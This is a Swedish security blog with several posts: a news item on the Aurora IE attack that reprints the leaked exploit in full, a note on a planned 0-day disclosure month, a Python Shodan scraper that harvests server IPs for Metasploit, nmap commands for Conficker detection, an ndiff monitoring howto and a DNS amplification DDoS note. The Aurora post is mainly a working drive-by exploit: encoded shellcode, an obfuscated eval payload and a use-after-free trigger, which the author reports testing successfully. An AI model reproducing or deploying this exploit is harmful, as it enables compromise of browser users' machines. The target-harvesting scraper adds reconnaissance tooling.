AURORA – the new IE Exploit

Denna vecka har den stora IT-nyheten varit att (vad ryktet säger) Kina har tagit sig in i nätverk så som Google, Adobe , Juniper och 29 andra stora aktörer.
Lite senare fick vi höra att de hade tagit sig in via en 0-day i Internet Explorer. Microsoft har nu gått ut med att sårbarheten finns där och drabbar samtliga versioner av IE. Sårbarheten annses vara en av de allvarligaste på mycket länge och Microsft kommer att bryta sin “2:dra tisdagen i månaden” patch cykel och släppa en uppdatering inom de närmaste dagarna.

Nu har då exploiten aka. Aurora läkt ut. Attacken har utförts genoma att mycket välskrivna mail riktade specifikt till en del personer på insidan av dessa företag med en länk till sidor där javascriptet här under injectade följande shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<html><script>var sc = unescape("
%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175
%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805
%uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8
%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2
%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8
%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053
%ud9b2%u3081%udbb9%ud8d8%u213a%ub7b0%ud8b6%ub0d8
%uaaad%ub5b4%u538c%ud49e%u0830%ud8da%u53d8
%ub230%u81d9%u9a30%ud8db%u3ad8%ub021%uebb4%ud8ea
%uabb0%ubdb0%u8cb4%u9e53%u30d4%uda69%ud8d8
%u3053%ud9b2%u3081%udbfb%ud8d8%u213a%u3459%ud9d8
%ud8d8%u0453%u1b59%ud858%ud8d8%ud8b2%uc2b2
%ub28b%u27d8%u9c8e%u18eb%u5898%udbe4%uadd8%u5121
%u485e%ud8d8%u1fd8%udbdc%ub984%ubdf6%u9c1f
%udcdb%ubda0%ud8d8%u11eb%u8989%u8f8b%ueb89%u5318
%u989e%u8630%ud8da%u5bd8%ud820%u5dd7%ud9a7
%ud8d8%ud8b2%ud8b2%udbb2%ud8b2%udab2%ud8b0%ud8d8
%u8b18%u9e53%u30fc%udae5%ud8d8%u205b%ud727
%u865c%ud8d9%u51d8%ub89e%ud8b2%u2788%uf08e%u9e51
%u53bc%u485e%ud8d8%u1fd8%udbdc%uba84%ubdf6
%u9c1f%udcdb%ubda0%ud8d8%ud8b2%ud8b2%udab2%ud8b2
%ud8b2%ud8b0%ud8d8%u8b98%u9e53%u30fc%ud923
%ud8d8%u205b%ud727%uc45c%ud8d9%u51d8%u5c5e%ud8d8
%u51d8%u5446%ud8d8%u53d8%ub89e%ud8b2%ud8b2
%ud8b2%u9e53%u88b8%u8e27%u1fe0%ua89e%ud8d8%ud8d8
%u9e1f%ud8ac%ud8d8%u59d8%ud81f%ud8da%uebd8
%u5303%ubc86%ud8b2%u9e55%u88a8%ud8b0%ud8dc%u8fd8
%uae27%u27b8%udc8e%u11eb%ud861%ud8dc%u58d8
%ud7a4%u4d27%ud4ac%ua458%u27d7%uacd8%u58dd%ud7ac
%u4d27%u333a%u1b53%ud8f5%ud8dc%u5bd8%ud820
%udba7%u8651%ub2a8%u55d8%uac9e%u2788%ua8ae%u278f
%u5c6e%ud8d8%u27d8%ue88e%u3359%udcd8%ud8d8
%u235b%ua7d8%u277d%ub8ae%u8e27%u27ec%u5c6e%ud8d8
%u27d8%uec8e%u5e53%ud848%ud8d8%u4653%ud854
%ud8d8%udc1f%u84db%uf6b9%u8bbd%u8e27%u53f4%u5466
%ud8d8%u53d8%u485e%ud8d8%u1fd8%udfdc%uba84
%ubdf6%u3459%ud9d8%ud8d8%u0453%ud8b0%ud8d9%u8bd8
%ud8b0%ud8d9%u8fd8%ud8b2%ud8b2%u8e27%u53c4
%ueb23%ueb18%u5903%ud834%ud8da%u53d8%u5b14%u8c20
%ud0a5%uc451%u5bd9%udc18%u2b33%u1453%u0153
%u1b5b%uebc8%u8818%u8b89%u8888%u8888%u8888%u888f
%u5388%ud09e%u2f30%ud8d8%u53d8%ue4a6%uec30
%ud8d9%u30d8%ud8ef%ud8d8%ubbb0%uafae%ub0d8%ub0ab
%ub7bc%u538c%ud49e%u6e30%ud8d8%u51d8%ue49e
%u79bc%ud8dc%ud8d8%u7855%u27b8%u2727%ubdb2%uae27
%u53e4%uc89e%u4230%ud8d8%uebd8%u8b03%u8b8b
%u278b%u3008%ud83d%ud8d8%u3459%ud9d8%ud8d8%u2453
%u1f5b%u1fdc%ueadf%u49ac%u1fd4%udc9f%u51bb
%u9709%u9f1f%u78d0%u4fbd%u1f13%ud49f%u9889%ua762
%u9f1f%ue6c8%u6ec5%u1fe1%ucc9f%ub160%uc30c
%u9f1f%u66c0%ubea7%u1f78%uc49f%u7124%u75ef%u9f1f
%u40f8%uc8d2%ubc20%ue879%ud8d8%u53d8%ud498
%ua853%u75c4%ub053%u53d0%u512f%ubc8e%udcb2%u3081
%ud87b%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0
%ubdab%u8caa%ude53%uca30%ud8d8%u53d8%ub230%u81dd
%u5c30%ud8d8%u3ad8%ueb21%u8f27%u8e27%u58dc
%u30e0%ue058%uad31%u59c9%udda0%u4848%u4848%ud0ac
%u2753%u538d%u5534%udd98%u3827%ue030%ud8d8
%u1bd8%ue058%u5830%u31e0%uc9ad%ua059%u48dd%u4848
%uac48%ub03f%ud2d0%ud8d8%u9855%u27dd%u3038
%ud8cf%ud8d8%u301b%ud8c9%ud8d8%uc960%udcd9%u1a58
%ud8d4%uda33%u1b80%u2130%u2727%u8327%udf1e
%u5160%ud987%u1fbe%udd9f%u3827%u8b1b%u0453%ub28b
%ub098%uc8d8%ud8d8%u538f%uf89e%u5e30%u2727
%u8027%u891b%u538e%ue4ad%uac53%ua0f6%u2ddb%u538e
%uf8ae%u2ddb%u11eb%u9991%udb75%ueb1d%ud703
%uc866%u0ee2%ud0ac%u1319%udbdf%u9802%u2933%uc7e3
%u3fad%u5386%ufc86%u05db%u53be%u93d4%u8653
%udbc4%u5305%u53dc%u1ddb%u8673%u1b81%uc230%u2724
%u6a27%u3a2a%u6a2c%ud7ee%u28cb%ua390%ueae5
%u49ac%u5dd4%u7707%ubb63%u0951%u8997%u6298%udfa7
%ufa4a%uc6a8%ubc7c%u4b37%u3cea%u564c%ud2cb
%ua174%u3ee1%u1c40%uc755%u8fac%ud5be%u9b27%u7466
%u4003%uc8d2%u5820%u770e%u2342%ucd8b%ub0be
%uacac%ue2a8%uf7f7%ubdbc%ub7b5%uf6e9%uacbe%ub9a8
%ubbbb%uabbd%uf6ab%ubbbb%ubcf7%ub5bd%uf7b7
%ubcb9%ub2f6%ubfa8%u00d8");
var sss = Array(826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280, 
238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833, 
728, 735, 756, 707, 280, 770, 322, 756, 707, 770, 721, 812, 728, 420, 427, 371, 350, 364, 
350, 392, 392, 287, 224, 770, 301, 427, 770, 413, 224, 770, 427, 770, 322, 805, 819, 686, 
805, 812, 798, 735, 770, 721, 280, 336, 448, 371, 350, 364, 350, 378, 399, 315, 805, 693, 
322, 756, 707, 770, 721, 812, 728, 287, 413, 826, 679, 798, 224, 840, 427, 770, 707, 833, 
224, 455, 798, 798, 679, 847, 280, 287, 413, 224, 714, 777, 798, 280, 826, 679, 798, 224, 
735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637, 
735, 651, 427, 770, 301, 805, 693, 413, 875);
var arr = new Array;
for (var i = 0; i < sss.length; i ++ ){
  arr[i] = String.fromCharCode(sss[i]/7); } var cc=arr.toString();cc=cc.replace(/ ,/ g, ""
  );
  cc = cc.replace(/@/g, ",");
  eval(cc);
  var x1 = new Array();
  for (i = 0; i < 200; i ++ ){
    x1[i] = document.createElement("COMMENT");
    x1[i].data = "abc";
  }
  ;
  var e1 = null;
  function ev1(evt){
    e1 = document.createEventObject(evt);
    document.getElementById("sp1").innerHTML = "";
    window.setInterval(ev2, 50);
  }
  function ev2(){
    p = "
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
    for (i = 0; i < x1.length; i ++ ){
      x1[i].data = p;
    }
    ;
    var t = e1.srcElement;
  }
</script><span id="sp1"><IMG SRC="aaa.gif" onload="ev1(event)"></span></body></html>

Bara timmar efter att exploiten hade läkt ut hade H.D Moore integrerat den till Metasploit.

Jag har bara testat mot WinXP med IE6 med lyckat resultat, men kommer försöka få igång fler set-up’s att testa mot under helgen.

The month of 0days

Det ryska säkerhetsföretaget Intevydis har lovat att göra januari till en jobbig månad för web och databas administratörer. Grundaren Evgeny Legerov har gått ut i media och sagt att mellan den 11 januari och den 6 februari kommer ett flertal 0days att publiceras på deras blog.

Det ryktas om sårbarheter i bland annat:
Web Servrar – Zeus web server, Sun web server och kanske även apache
Databaser – Mysql, Lotus Dominu, IBM DB2 och Informix.
Katalogservrar – Novell eDirectory, Sun Directory och Tivoli Directory

Intevydis säger sig göra detta pågrund av att mjukvaruföretagen förväntar sig att få till gång till PoC kod utan att betala för de tusentals timmar av QA som säkerhetsföretagen lägger på att hitta sårbarheter i programvaran.
I vissa fall så struntar till och med företagen i att patcha upp sårbarheterna efter att de har informerats om dem.
T.ex har en sårbarhet i RealPlayer rapporterats in av Intevydis för två år sedan och fortfarande finns sårbarheten i senaste releasen.

Intevydis menar även på att om sårbarheten visas upp för allmänheten kommer den patchas inom 24 timmar vilket man kan se i Open Source communityn.

Sen om detta är ett PR-trick kan diskuteras

Shodan query i terminalen

Under julledigheten fick jag lite tid över att leka lite mer med python vilket resulterade i att jag skrev ett litet program som kan utföra sökningar mot Shodan och sedan parsar ut ip nummerna och sparar dessa i en log vilken senare kan användas i till exempel metasploit.
Problem uppstog dock när jag skulle hitta på ett sätt att avsluta programet.
I version 1.0 så har jag löst det genom att page räknas upp med 1 varje för var sida och avslutas då page är mindre än 10, då Shodan bara har info på de 5-6 första sidorna i dagsläget trots att det finns flera sidor att blädra till. Inge vacker lösning så tips mottages.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python
import urllib2, sys, re
from BeautifulSoup import BeautifulSoup
 
def info():
  help = '''
    ShodanScanner v.1.0 h-kan@h-kan.com
 
    USAGE: ./shodanscanner -q  -f
    Ex: ./shodanscanner -q apache+2.2.1 -f scan.log
    This scan for apache servers and save the IP's into scan.log.
    More advanced query's could be used like
    - apache+2.2.11 Search for apache servers running version 2.2.11
    - +country:SE Search for servers located in sweden
    - +hostname:.se Search for servers with ".se" in hostname
    - +port:22 Search for servers with service running on port 22
  	'''
  print help
 
def crawler(page):
  try:
    sock = urllib2.urlopen("http://shodan.surtri.com/?q=%s&page=%i"%(args1,page))
    homepage = sock.read()
    htmlDom = BeautifulSoup(homepage)
    links = htmlDom.findAll('a', {'href': True})
    return links
  except:
    print "[-] Connection Failed"
    sys.exit(0)
 
if __name__ == "__main__":
  page = 1
    if len(sys.argv) != 5:
      info()
      print "usage: %s -q  -f "%sys.argv[0]
      sys.exit(0)
    else:
      if sys.argv[1].lower() == "-q":
        args1 = sys.argv[2]
      if sys.argv[3].lower() == "-f":
        args2 = sys.argv[4]
    log = open(args2,"a")
    print "[+] Searching query: %s"%args1
    log.write("[+] Searching query: %s"%args1)
    log.close()
    print "[+] please wait ..."
    while page <=10:
      data = crawler(page)
      for link in data:
        log = open(args2,"a")
        if re.search("http://",link['href']):
          link = link['href'].replace("http://","")
          print "%s"%link
          log.write("%s\n"%link)
        log.close()
      page += 1

Conficker

I morgon är dagen D. Conficker masken som även är känd som Downdup, Downadup och Kido upptäcktes redan i oktober men uppskattas fortfarande finnas i miljontals datorer och aktiveras i morgon, 1 April.

Honeynet släppte igår info om Conflicker där du kan läsa allt om masken och hur den kan detekteras och raderas.

PDF’n kan laddas ner här:
Know Your Enemy: Containing Conficker

Du kan nu scanna ditt nät efter conficker infekterade datorer med hjälp av nmap. Dra ner senaste versionen.
[cce lang=”text”]# nmap -PN -T4 -p139,445 -n -v –script=smb-check-vulns
–script-args safe=1 192.168.0.1-254

Scanning 192.168.0.105 [2 ports]
Discovered open port 445/tcp on 192.168.0.105
Discovered open port 139/tcp on 192.168.0.105
Completed SYN Stealth Scan at 20:05, 0.02s elapsed (2 total ports)
NSE: Initiating script scanning.
Initiating NSE at 20:05
Completed NSE at 20:05, 0.04s elapsed
Host 192.168.0.105 appears to be up … good.
Interesting ports on 192.168.0.105:
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:19:DB:F0:82:27 (Micro-star International CO.)

Host script results:
| smb-check-vulns:
| MS08-067: NOT RUN
| Conficker: Likely CLEAN
|_ regsvc DoS: NOT RUN (add –script-args=unsafe=1 to run)[/cce]

Nätverksövervakning med Ndiff

Efter att ha sett Fyodor’s otroligt underhållande tal under Defcon16 Scanning the Internet with Nmap så blev jag intresserad av den nya funktionen ndiff som finns med i utvecklar versionen.
Efter att ha läst i en annan säkerhets blog om hur ndiff kunde användas så vill jag sprida kunskapen vidare.
Ndiff i sig är inget speciellt utan det diffar två xml dumpar man skapat med nmap och formaterar detta på ett fint sett för användaren. Jag tänkte visa er hur jag har implementerat detta på vårt nät genom att köra en full portscanning över hela vårt subnet varje natt och sedan ndiffa scanningen med föregående natts scanning, maila resultatet till mig själv så att jag varje morgon ser om något nytt device är inkopplat på nätet eller om någon klient/server har någon ny öppen/stängd port sedan sist.

Så nu över till min lilla HowTo
Först måste vi tanka ner utveklar versionen och kompilera denna. Nmap snubbarnas revisionssytem är subversion så om du inte redan har detta måste du ordna det. Checka sedan ut koden och kompiler.
[cce lang=”text”]# svn co –username guest –password “” svn://svn.insecure.org/nmap/ nmap[/cce]
Nu ska vi göra vår första scan manuellt för att skapa xml filen cron jobbet diffar mot.
Som root i /root kör följande fast anpassat efter ditt nät.
[cce lang=”text”]nmap -n -oX /root/baseline.xml 192.168.1.0/24[/cce]
Nu skapar vi 2 cron jobb som körs varje natt. Det första jobbet scannar av hella vårt subnet och sparar outputen till current.xml, vi skappar även en lock fil här som finns så nmap körs.
(all kod på en rad)
[cce lang=”text”]
0 1 * * * (touch /var/run/nmap.running; nmap -n -oX
/root/current.xml 192.168.1.0/24 >/dev/null;
rm /var/run/nmap.running)
[/cce]
I det andra cron jobbet ska vi låta ndiff gå igenom våra xml loggar och maila diffen till oss.
Om nmap inte är klart avaktar ndiff, ndiff körs, mailar outputen och slutligen ändrar den namt på vår senaste scanning till baseline.xml.
(allt på en rad)
[cce lang=”text”]
0 2 * * * (while [ -f /var/run/nmap.running]; do sleep 5; done;
ndiff /root/baseline.xml /root/current.xml |
/bin/maix -s "Network Scan" din@mail.se;
mv /root/current.xml /root/baseline.xml)
[/cce]

DDos

En ny form av DDos attack har visat sig i bind loggarna.

Det dycker upp en massa queries  efter “.” vilket innebär att dns servern svarar med sin lista över root servrarna.

Ett spoofat udp packet på 45 bytes skickas till dns servern som skickar tillbaka ett 10 gånger större packet till den spoofade ip adressen som egentligen aldrig gjort förfrågningen.  Attacken har visat sig i oehört många dns loggar och de spoofade ip adresserna är följande.
[cce lang=”text”]63.217.28.226
66.230.160.1
66.230.128.15
69.50.142.11
69.50.142.110
76.9.16.171
76.9.31.42
216.201.82.19[/cce]
Du slipper lätast problemet genom att spärra dessa ip i din brandvägg.

Mer info kan hittas här : http://isc.sans.org/diary.html?storyid=5713